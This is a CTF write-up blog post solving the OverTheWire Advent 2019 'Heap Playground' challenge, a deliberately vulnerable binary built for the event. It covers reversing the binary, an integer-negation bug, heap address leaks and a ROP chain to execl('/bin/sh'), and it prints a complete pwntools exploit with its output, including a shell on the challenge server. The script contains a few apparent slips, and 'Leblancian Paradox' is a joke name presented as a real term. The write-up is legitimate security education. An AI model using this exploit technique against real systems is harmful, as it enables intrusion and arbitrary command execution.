OverTheWire Advent Bonanza 2019: [Day 11] Heap Playground

Posted on January 3, 2020January 3, 2020 by Popax21

About

This post is part of a series in which I’ll post writeups for all challenges of the OverTheWire Advent Bonanza 2019 CTF. To see the intro, click here

Overview

Before we begin, I just want to say that I used two awesome blog posts (here and here) by azeria labs a lot while working on this challenge. They’re great posts which go into detail on the libc heap behavior.

When we download the binary, it just seems like a regular heap challenge. We can create chunks with a specific size, we can delete them, print them, edit them, and exit. Also attached is the used libc. The file command says the following:

$ file heap_playground
heap_playground: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9cad9bc14ad48f5714574081496ed9cfa380d8e3, not stripped

So it’s 64 bit, not stripped. That’s good. Let’s check the security:

$ checksec heap_playground
[*] './heap_playground'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

That doesn’t look too good. We have RELRO, Stack Canarys, NX and PIE. So the full program of security measures. This certainly won’t make it easy. Here’s a quick demonstration of the program:

$ ./heap_playground
Heap playground!
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 1
Size of the chunk: 8
Content: Popax21
Created chunk 1
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 3
ID of chunk: 1
Chunk 1:
Popax21
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 4
ID of chunk: 1
Index of character to edit: 0
Character: p
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 3
ID of chunk: 1
Chunk 1:
popax21
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 2
ID of chunk: 1
Chunk deleted!
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 3
No chunks yet!
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 5

Analysing the libc

The file name of the attached libc hints at version 2.27, but let’s check:

$ ./libc-2.27.so 
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

So the versions do indeed match. Also this version of libc has tcaches, which is good to know when writing exploits, because they can be annoying. Let’s check the file command:

$ file libc-2.27.so 
libc-2.27.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped

Well, it’s stripped. That’s not so good, because we maybe need some internal symbols. So let’s look for a version of this libc which is not stripped. After some googling I came accross the Ubuntu package libc6-dbg, and found it’s 2.27-3ubuntu1 (the version of the attached libc) build here. It’s in .deb format, so we can easily extract the libc symbols via the following commands:

$ ar x libc6-dbg_2.27-3ubuntu1_amd64.deb 
$ tar -xf data.tar.xz
$ find . | grep libc
./usr/lib/debug/lib/x86_64-linux-gnu/libc-2.27.so
./usr/lib/debug/lib/x86_64-linux-gnu/libcidn-2.27.so
./usr/lib/debug/lib/x86_64-linux-gnu/libcrypt-2.27.so
./usr/share/doc/libc6-dbg
./usr/share/doc/libc6-dbg/changelog.Debian.gz
./usr/share/doc/libc6-dbg/copyright
./libc6-dbg_2.27-3ubuntu1_amd64.deb
$ cp usr/lib/debug/lib/x86_64-linux-gnu/libc-2.27.so .
$ rm -rf control.tar.xz data.tar.xz debian-binary usr libc6-dbg_2.27-3ubuntu1_amd64.deb

Let’s compare the build ids:

$ file libc-2.27.so 
libc-2.27.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped
$ file libc-2.27.dbg.so 
libc-2.27.dbg.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter *empty*, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, with debug_info, not stripped

They match! But our second libc only includes symbols, no actual code. But we can merge it with the stripped version using elfutils:

$ eu-unstrip libc-2.27.so libc-2.27.dbg.so -o libc-2.27.mrg.so
$ file libc-2.27.mrg.so 
libc-2.27.mrg.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, with debug_info, not stripped
$ ./libc-2.27.mrg.so 
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

So now here’s a thing I like to do: I like to create a copy of the challenge binary, and patch it using patchelf to use the attached libc, so that I don’t have to hardcode two sets of offsets for the different libcs. But there’s a problem: We don’t have all required binaries! But we can fix that by using niklasb’s libc database! If we tell it our libc version, we can download the complete libc build and extract every binary we need from it:

$ ./download libc6_2.27-3ubuntu1_amd64
Getting libc6_2.27-3ubuntu1_amd64
  -> Location: http://mirrors.kernel.org/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb
  -> Downloading package
  -> Extracting package
  -> Package saved to libs/libc6_2.27-3ubuntu1_amd64
$ ls libs/libc6_2.27-3ubuntu1_amd64/
ld-2.27.so               libmemusage.so         libnss_nisplus-2.27.so
ld-linux-x86-64.so.2     libm.so.6              libnss_nisplus.so.2
libanl-2.27.so           libmvec-2.27.so        libnss_nis.so.2
libanl.so.1              libmvec.so.1           libpcprofile.so
libBrokenLocale-2.27.so  libnsl-2.27.so         libpthread-2.27.so
libBrokenLocale.so.1     libnsl.so.1            libpthread.so.0
libc-2.27.so             libnss_compat-2.27.so  libresolv-2.27.so
libcidn-2.27.so          libnss_compat.so.2     libresolv.so.2
libcidn.so.1             libnss_dns-2.27.so     librt-2.27.so
libcrypt-2.27.so         libnss_dns.so.2        librt.so.1
libcrypt.so.1            libnss_files-2.27.so   libSegFault.so
libc.so.6                libnss_files.so.2      libthread_db-1.0.so
libdl-2.27.so            libnss_hesiod-2.27.so  libthread_db.so.1
libdl.so.2               libnss_hesiod.so.2     libutil-2.27.so
libm-2.27.so             libnss_nis-2.27.so     libutil.so.1

Now we can collect all required binaries and patch the challenge:

$ cp -r /path/to/db/libs/libc6_2.27-3ubuntu1_amd64/ libc
$ rm libc/libc.so.6 libc/libc-2.27.so
$ cp libc-2.27.mrg.so libc/libc.so.6
$ cp libc-2.27.mrg.so libc/libc-2.27.so
$ cp heap_playground heap_playground_bck
$ patchelf --set-interpreter `realpath libc/ld-linux-x86-64.so.2` --force-rpath --set-rpath `realpath libc/` heap_playground
$ chmod +x heap_playground
$ ./heap_playground
Heap playground!
1. Create chunk
2. Delete chunk
3. Print chunk
4. Edit chunk
5. Exit
Choice: 5

Reversing the binary

So let’s open the challenge in Ghidra. I’ll skip over the actual reversing, but here’re the most important things we’ll find:

Each choice (create, delete, print, edit) has it’s own function (alloc_chunk, free_chunk, print_chunk, edit_chunk)
Chunks are limited to 1024 in size
Chunks are stored in an 1 way linked list, and the head of the list is stored in the variable head.
Each time a chunk is allocated, the variable glob_id is incremented, and the new chunk’s id is set to it’s value. Then the chunk is inserted at the end of the linked list
print_chunk and edit_chunk use the function find_chunk to find the specified chunk in the linked list
For finding chunks in the linked list: First the id is checked to be in the range of [0 … glob_id] (inclusive). After that the linked list is searched for a chunk with the given id. Here’s the implementation of find_chunk (note that free_chunk has it’s own implementation, but it looks mostly the same):

chunk* find_chunk(int id) {
  chunk *chunk_ptr;

  if ((glob_id < id) || (id < 0)) {
    puts("No such chunk!");
    chunk_ptr = NULL;
  } else {
    chunk_ptr = head;

    while (chunk_ptr != NULL) {
      if (id == chunk_ptr->id) goto done;
      chunk_ptr = chunk_ptr->next;
    }

    puts("No such chunk!");
    chunk_ptr = NULL;
  }

done:
  return chunk_ptr;
}

The chunk structure looks like the folowing:

typedef struct {
 int id;            //0x00 (The chunk's id)
 int size;          //0x04 (Size of content)
 chunk *next;       //0x08 (The next chunk in the linked list)
 char content[];    //0x10 (The chunk's content; Properly null terminated)
} chunk;

The bug(s)

The bug is in the edit_chunk function:

void edit_chunk(chunk *chunk,int idx,char chr) {
  int actual_idx = idx;

  if (idx < 0) {
    actual_idx = -idx;
  }

  memset(chunk->content + (actual_idx % chunk->size), chr, 1);
}

There are actually two bugs. One is rather obvious: We can overwrite the null terminator. But this is only a OOB read, so we can only leak stuff. But the second bug is much more interesting. To understand it, let’s take a look at what happens when negating a number (using the NEG instruction). The following two steps happen:

Invert all bits
Add one

This correctly inverts almost every number. But one is special: The number -2147483648 (for 32 bit integers), which is 0x80000000 in hexadecimal. Now let’s try inverting it via our procedure from above:

Invert all bits (0x80000000 -> 0x7fffffff)
Add one (0x7fffffff -> 0x80000000)

When we invert it, we get back the original number! By the way, this is called the Leblancian Paradox. So when we pass the above code this special number as the index, we’ll actually write to an negative index, which we can partially control with our chunk’s size!

The exploitation plan

So, with a OOB read and an memory corruption vulnerability in our hands, let’s get a shell! The plan is:

Leak heap and libc base addresses
Leak environ for a stack leak
Overwrite the return address with a ROP chain, which calls system
Profit!

You might be wondering, why I didn’t use the free_hook? If we look at the chunk structure, we can see that the id variable is at the beginning of the structure, so’ll actually execute our id, which isn’t what we want. (I have heard somebody allocated chunks until he got a chunk with id 0x6873, which is the string “sh”. It took one hour to execute on the challenge server!)

But to execute our plan, we need RW primitives! The read primitve isn’t a problem, because we can craft a fake chunk around our target address with our write primitive. But how do we get a write primitive? At first it seems simple: Craft a chunk with the maximal size, and we can then edit the entire memory! But if we look again, we’ll see that size is only a 32 bit integer! Actually, the only pointer we can control is the next pointer. So we have to rely on fake chunks already present.

Also about cleanup: When we finish one “stage”, we should get the bins in an empty state, otherwise they’ll be annoying to deal with, because our allocations may be somewhere where we don’t want them. So we have to allocate chunks to fill each gap after each “stage”.

Leaking the heap base

We can achieve that quite easily by allocating a chunk, freeing it, and then allocating another chunk right before the next pointer, which’ll point to another chunk on the heap. Then we can use our OOB read primitive to leak that pointer. But because how memory ends up being aligned, we have to overwrite the first byte of the pointer. But that’s OK, because only the page part (bits 12-32) is relevant, so we can just ignore the lowest byte. After implementing it (with some heap magic around it to make it work), we can successfully leak the heap base:

$ python exploit.py heap_playground
Exploiting local binary 'heap_playground'
[!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead
[+] Starting local process './heap_playground': pid 4877
[*] Leaked heap base 0x55bd6a44c000!
[*] Stopped process './heap_playground' (pid 4877)

To make this work we also had to preserve the next pointer of a freed chunk. That’s a little problematic, because libc would write the bck pointer there. But we can let the chunk merge with another one, so that the next pointer is still intact.

Leaking the libc base

We can mostly use the same code from before, but instead of preserving the next pointer, we actually want libc to overwrite it with the bck pointer! With that we leak a pointer into the libc main_arena. From it we can calculate the base address. (NOTE: Normally we wouldn’t have this symbol in libc, but because of our work from above, we have!) After implementing this, we leak the libc base:

$ python exploit.py heap_playground
Exploiting local binary 'heap_playground'
[!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead
[+] Starting local process './heap_playground': pid 5408
[*] Leaked heap base 0x560676d70000!
[*] Leaked libc base 0x7fe0da78e000!
[*] Stopped process './heap_playground' (pid 5408)

Crafting a hax chunk

So, now we should craft a hax chunk, which will allow us to write OOB to the heap. For that, we need our memory corruption vulnerability. We want to change our size to something huge. If we look again at the chunk structure and at the edit_chunk function, we see that we want to edit the character index -9, which corresponds to the most significant byte of the size field. We can control which negative offset we write to with our chunk’s size. So let’s just bruteforce a chunk size, which ends up fulfilling the following formula:

-2147483648 \mod x = -9

This doesn’t take too long, because chunk size must be in the range of [1 … 1024] (inclusive). So we then allocate a hax chunk with our found size, and edit the character at index -2147483648, which ends up overwriting the most significant byte of the size field. We can then allocate a victim chunk after our hax chunk, and edit its chunk data to our hearts content! Here’s the exploit, which we have so far, in action:

$ python exploit.py heap_playground
Exploiting local binary 'heap_playground'
[!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead
[+] Starting local process './heap_playground': pid 6162
[*] Leaked heap base 0x55dc85b5b000!
[*] Leaked libc base 0x7fed9e49b000!
[*] Found working hax size 17!
[*] Crafted hax chunk!
[*] Stopped process './heap_playground' (pid 6162)

Leaking environ

Now we’ll leak environ to get the address of the stack. But how should we approach this? Our only read primitive requires that we have a chunk around our target address! But we don’t have a write primitive for libc! But we can search libc for memory that looks like a fake chunk that allows us to write before environ. Then we craft a chunk there, and print it! Good thing is that pwntools has a function called search! So we can just search for a working chunk, and then overwrite the next pointer of victim via the hax chunk! This’ll allow us to use this fake chunk, and craft another fake chunk around environ! Let’s see it in action:

$ python exploit.py heap_playground
Exploiting local binary 'heap_playground'
[!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead
[+] Starting local process './heap_playground': pid 7033
[*] Leaked heap base 0x55961adbf000!
[*] Leaked libc base 0x7f3688c6a000!
[*] Found working hax size 17!
[*] Crafted hax chunk!
[*] Found good libc fake chunk at address 0x7f3688c6a049!
[*] Crafted fake chunk around environ at address 0x7f3689058088!
[*] Leaked environ 0x7ffe11c2fc08!
[*] Stopped process './heap_playground' (pid 7033)

Placing our ROP chain

The last thing we have to do is place our ROP chain. We have the stack address, because we leaked environ. Here’s the plan of doing that:

Craft a fake chunk
Use this fake chunk to overwrite the return address

But where do we craft the fake chunk? One candidate is the input buffer, which is used by main to store our input. So by placing our fake chunk in the input buffer, and then overwriting victim’s next pointer to point to it, we can write on the stack. We can calculate the address of our fake chunk by subtracting a offset from environ. Here’s a our exploit with a ROP chain which just calls exit:

$ python exploit.py heap_playground
Exploiting local binary 'heap_playground'
[!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead
[+] Starting local process './heap_playground': pid 7741
[*] Leaked heap base 0x5606746b9000!
[*] Leaked libc base 0x7f1939ef8000!
[*] Found working hax size 17!
[*] Crafted hax chunk!
[*] Found good libc fake chunk at address 0x7f1939ef8049!
[*] Crafted fake chunk around environ at address 0x7f193a2e6088!
[*] Leaked environ 0x7fffbcb06e48!
[*] Placed fake chunk in input buffer at address 0x7fffbcb06950!
[*] Placed ROP chain at address 0x7fffbcb06d58!
[*] Executed ROP chain!
[*] Switching to interactive mode
[*] Process './heap_playground' stopped with exit code 176 (pid 7741)
[*] Got EOF while reading in interactive
$

Constructing our ROP chain

Now we just need to create a ROP chain which calls system. The first problem: Where do we store our command? But that’s easy, we can just allocate a chunk with our command at the beginning of our exploit, and then calculate its content’s address. But we also have a second problem: Somehow system just crashes. So we have to use another function. I went for execl, because we can just call it like the following:

execl("/bin/sh", NULL);

A good thing is that rsi (the second argument) already is 0! So we only need the following gadget:

pop rdi; ret;

Or assembled:

\x5f\xc3

Now we can just search libc for this gadget, and then craft our ROP chain. Here’s the exploit in action, but exploiting my local machine:

$ python exploit.py heap_playground
Exploiting local binary 'heap_playground'
[!] Could not find executable 'heap_playground' in $PATH, using './heap_playground' instead
[+] Starting local process './heap_playground': pid 10297
[*] Leaked heap base 0x55d48b98e000!
[*] Command is at address 0x55d48b98f280!
[*] Leaked libc base 0x7f5f5b800000!
[*] Found working hax size 17!
[*] Crafted hax chunk!
[*] Found good libc fake chunk at address 0x7f5f5b800049!
[*] Crafted fake chunk around environ at address 0x7f5f5bbee088!
[*] Leaked environ 0x7fff31a4fe78!
[*] Placed fake chunk in input buffer at address 0x7fff31a4f980!
[*] Placed ROP chain at address 0x7fff31a4fd88!
[*] Executed ROP chain!
[*] Switching to interactive mode
$ echo "PWNED!"
PWNED!
$

Exploiting the challenge server

So we just have to execute our exploit on the real challenge server, and get the flag:

$ python exploit.py heap_playground 3.93.128.89 1215 
Exploiting remote '3.93.128.89' port 1215
[+] Opening connection to 3.93.128.89 on port 1215: Done
[*] Leaked heap base 0x558758bdb000!
[*] Command is at address 0x558758bdc280!
[*] Leaked libc base 0x7f34d1701000!
[*] Found working hax size 17!
[*] Crafted hax chunk!
[*] Found good libc fake chunk at address 0x7f34d1701049!
[*] Crafted fake chunk around environ at address 0x7f34d1aef088!
[*] Leaked environ 0x7fff098e3748!
[*] Placed fake chunk in input buffer at address 0x7fff098e3250!
[*] Placed ROP chain at address 0x7fff098e3658!
[*] Executed ROP chain!
[*] Switching to interactive mode
$ ls
flag
heap_playground
$ cat flag
AOTW{d0_y0u_kn0w_th3_l3bl4nc14n_p4r4d0X}$

And the flag is:

AOTW{d0_y0u_kn0w_th3_l3bl4nc14n_p4r4d0X}

My exploit script:

#!/usr/bin/python3

from pwn import *
from sys import argv, exit
from math import ceil

if len(argv) < 2: exit()

binary = argv[1]

if len(argv) >= 4:
    host = argv[2]
    port = int(argv[3])
    
    print("Exploiting remote '%s' port %d" % (host, port))
    
    tube = remote(host, port)
else:
    print("Exploiting local binary '%s'" % binary)
    
    tube = process(binary)

binary = ELF(binary)
libc = binary.libc

#Wrapper functions
def choose(choice):
    tube.recvuntil("Choice: ")
    tube.sendline(str(choice))

def allocChunk(size, content):
    assert size > 0 and size <= 0x400
    assert len(content) < size
    
    choose(1)
    tube.recvuntil("Size of the chunk: ")
    tube.sendline(str(size))
    tube.recvuntil("Content: ")
    tube.sendline(content)
    
    return int(tube.recvline()[14:-1])

def freeChunk(chunk_id):
    choose(2)
    tube.recvuntil("ID of chunk: ")
    tube.sendline(str(chunk_id))

def printChunk(chunk_id):
    choose(3)
    tube.recvuntil("ID of chunk: ")
    tube.sendline(str(chunk_id))
    tube.recvline()
    
    return tube.recvline()[:-1]

def editChunk(chunk_id, index, char):
    choose(4)
    tube.recvuntil("ID of chunk: ")
    tube.sendline(str(chunk_id))
    tube.recvuntil("Index of character to edit: ")
    tube.sendline(str(index))
    tube.recvuntil("Character: ")
    tube.sendline(chr(char))

#<><><><><><><><><><> Some exploit params <><><><><><><><><><>
HEAP_OFFSET = 0x1260
TCACHE_SIZE = 7
FASTBIN_MAX_CHUNK_SIZE = 0x80
COMMAND = "/bin/sh"

#<><><><><><><><><><> Place command on the heap <><><><><><><><><><>
allocChunk(len(COMMAND) + 1, COMMAND)

#<><><><><><><><><><> Leak heap base <><><><><><><><><><>

#Allocate tcache fillers
tcache_fillers = [allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") for _ in range(TCACHE_SIZE)]

#Allocate placeholder chunk
placeholder = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE

#Allocate victim chunk
victim = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE

#Allocate seperator chunk
seperator = allocChunk(8, b"") #Heap size doesn't matter

#Fill tcache
for tcache_filler in tcache_fillers: freeChunk(tcache_filler)

#Free chunks
#ORDER IS IMPORTANT
freeChunk(placeholder)
freeChunk(victim) #Can merge, no need to write bck ptr

#Alloacte hax chunk
hax_size = FASTBIN_MAX_CHUNK_SIZE + 0x10 + 0x8 + 1 #Resulting chunk will overlap one byte into the victim chunk's next pointer
hax = allocChunk(hax_size, b"A" * (hax_size - 1))

#Hax!
editChunk(hax, hax_size - 1, 0x21) #Overwrite null terminator
leak = printChunk(hax)[hax_size-1:] #Leak the next pointer

#Parse leak
leak += b"\x00" * (8 - len(leak)) #Zero pad leak
leak = u64(leak) #Unpack the next pointer

#Calculate heap base
heap_base = leak &amp; ~(0xfff) #Mask out low bits
heap_base -= 0x1000 #Some corrections

#Cleanup (by filling gaps)
#OPTIMIZATION: Don't fill tcache fillers holes, because we will allocate them again in the next step
#for _ in range(TCACHE_SIZE): allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"")
allocChunk(FASTBIN_MAX_CHUNK_SIZE * 2 - hax_size, b"")

#Done!
log.info("Leaked heap base 0x%x!" % heap_base)

#Calc command address on heap
cmd_addr = heap_base + HEAP_OFFSET + 0x10 + 0x10
log.info("Command is at address 0x%x!" % cmd_addr)


#<><><><><><><><><><> Leak libc base <><><><><><><><><><>

#Allocate tcache fillers
tcache_fillers = [allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") for _ in range(TCACHE_SIZE)]

#Allocate placeholder chunk
placeholder = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE

#Allocate victim chunk
victim = allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"") #Heap size 0x10 + FASTBIN_MAX_CHUNK_SIZE

#Allocate seperator chunk
seperator = allocChunk(8, b"") #Heap size doesn't matter

#Fill tcache
for tcache_filler in tcache_fillers: freeChunk(tcache_filler)

#Free chunks
#ORDER IS IMPORTANT
freeChunk(victim) #No room to merge, write bck ptr
freeChunk(placeholder)

#Alloacte hax chunk
hax_size = FASTBIN_MAX_CHUNK_SIZE + 0x10 + 0x8 + 1 #Resulting chunk will overlap one byte into the libc bck pointer
hax = allocChunk(hax_size, b"A" * (hax_size - 1))

#Hax!
editChunk(hax, hax_size - 1, 0x21) #Overwrite null terminator
leak = printChunk(hax)[hax_size-1:] #Leak the next pointer

#Parse leak
leak += b"\x00" * (8 - len(leak)) #Zero pad leak
leak = u64(leak) #Unpack the bck pointer

#Calc libc base
main_arena_page = leak &amp; ~(0xfff)
libc_base = main_arena_page - (libc.symbols["main_arena"] &amp; ~(0xfff))

#Cleanup (by filling gaps)
for _ in range(TCACHE_SIZE): allocChunk(FASTBIN_MAX_CHUNK_SIZE, b"")
allocChunk(FASTBIN_MAX_CHUNK_SIZE * 2 - hax_size, b"")

#Done!
log.info("Leaked libc base 0x%x!" % libc_base)


#<><><><><><><><><><> Craft hax chunk <><><><><><><><><><>

#Brute force a working hax chunk size
from math import fmod #A mod which works the same as the C mod

hax_idx = -2147483648
hax_target_idx = -9 #Overwrite most significant byte of the size field of the hax chunk

for hax_size in range(1, 1024+1):
    if fmod(hax_idx, hax_size) == hax_target_idx:
        break
else:
    log.warn("No working hax size found!")
    exit()

log.info("Found working hax size %d!" % hax_size)

#Allocate hax and victim chunks
hax = allocChunk(hax_size, b"")
victim = allocChunk(8, b"") #Size doesn't matter

#Hax!
editChunk(hax, hax_idx, 0xff) #Make our size really huge

#Calc offset of hax and victim
hax_heap_size = 0x10 + hax_size
hax_heap_size = hax_heap_size - 0x8
hax_heap_size = ceil(hax_heap_size / 0x10) * 0x10 + 0x8

#<hax content size> + <heap metadata size>
hax_victim_offset = (hax_heap_size - 0x10) + 0x8

#Helper function for later
def editVictimNextPtr(ptr):
    for b in range(8):
        byte = ptr &amp; 0xff
        ptr = ptr >> 8
        
        if byte != 0: editChunk(hax, hax_victim_offset + 0x8 + b, byte)

log.info("Crafted hax chunk!")

#<><><><><><><><><><> Leak environ <><><><><><><><><><>

#Find a good fake chunk in libc
environ_offset = libc.symbols["environ"]

libc_fake_chunk = b""
libc_fake_chunk += p32(0) #We want id 0
#We'll check the rest in the loop

for libc_fake_chunk_offset in libc.search(libc_fake_chunk):
    libc_fake_chunk_size = libc.u32(libc_fake_chunk_offset + 0x4) #Read the size field
    
    #Does it reach environ?
    if libc_fake_chunk_offset + libc_fake_chunk_size + 0x10 >= environ_offset:
        break
else:
    log.warn("No good fake chunk in libc found!")

#Calc libc fake chunk addr
libc_fake_chunk_addr = libc_base + libc_fake_chunk_offset
    
log.info("Found good libc fake chunk at address 0x%x!" % libc_fake_chunk_addr)

#Overwrite next pointer so it points at our fake chunk
editVictimNextPtr(libc_fake_chunk_addr)

#Craft fake chunk around environ
environ_fake_chunk = b""
environ_fake_chunk += p32(0)   #id
environ_fake_chunk += p32(0x8) #size
environ_fake_chunk += p64(0)   #next

environ_fake_chunk_offset = environ_offset - 0x10

#Write fake chunk around environ
environ_libc_fake_chunk_offset = environ_fake_chunk_offset - libc_fake_chunk_offset - 0x10

for b in range(len(environ_fake_chunk)):
    #id 0 is our fake chunk
    if environ_fake_chunk[b] != 0: (0, environ_libc_fake_chunk_offset + b, environ_fake_chunk[b])

#Calc environ fake chunk address
environ_fake_chunk_addr = libc_base + environ_fake_chunk_offset

log.info("Crafted fake chunk around environ at address 0x%x!" % environ_fake_chunk_addr)

#Overwrite next pointer so it points at our fake chunk around environ
editVictimNextPtr(environ_fake_chunk_addr)

#Leak!
#id 0 is our environ fake chunk
leak = printChunk(0) 

#Parse leak
leak += b"\x00" * (8 - len(leak))
environ = u64(leak)

#Done!
log.info("Leaked environ 0x%x!" % environ)


#<><><><><><><><><><> Construct ROP chain <><><><><><><><><><>

pop_rdi_gagdget = libc_base + next(libc.search(b"\x5f\xc3"))

rop_chain = b""
rop_chain += p64(pop_rdi_gagdget) #pop rdi; ret;
rop_chain += p64(cmd_addr) #Will be popped into rax
rop_chain += p64(libc_base + libc.symbols["execl"]) #Call execl

#<><><><><><><><><><> Place ROP chain <><><><><><><><><><>

STACK_FAKE_CHUNK_PADDING_LEN = 0x10
STACK_FAKE_CHUNK_ENVIRON_OFFSET = 0x4f8
STACK_FAKE_CHUNK_RETURN_OFFSET = 0x418 - STACK_FAKE_CHUNK_PADDING_LEN - 0x10

#Place fake chunk in the input buffer
fake_chunk = b""
fake_chunk += p32(0)        #id
fake_chunk += p32(0x101010) #size
fake_chunk += p64(0)        #next

tube.recvuntil("Choice: ")
tube.sendline(b"\x21" * STACK_FAKE_CHUNK_PADDING_LEN + fake_chunk)

#Calc fake chunk addr
fake_chunk_addr = environ - STACK_FAKE_CHUNK_ENVIRON_OFFSET

log.info("Placed fake chunk in input buffer at address 0x%x!" % fake_chunk_addr)

#Overwrite next pointer
editVictimNextPtr(fake_chunk_addr)

#Place ROP Chain
for b in range(len(rop_chain)):
    #id 0 is our fake chunk
    if rop_chain[b] != 0: editChunk(0, STACK_FAKE_CHUNK_RETURN_OFFSET + b, rop_chain[b])

log.info("Placed ROP chain at address 0x%x!" % (fake_chunk_addr + 0x10 + STACK_FAKE_CHUNK_RETURN_OFFSET))

#<><><><><><><><><><> Execute ROP chain <><><><><><><><><><>

choose(5)
log.info("Executed ROP chain!")

tube.interactive()
tube.close()

One thought on “OverTheWire Advent Bonanza 2019: [Day 11] Heap Playground”

Kumo says:

January 3, 2020 at 4:19 pm

Cool posts, congratulations Popa21. You can perfectly see how much effort it was to solve the challenges. I hope there is another Advent Challenge this year.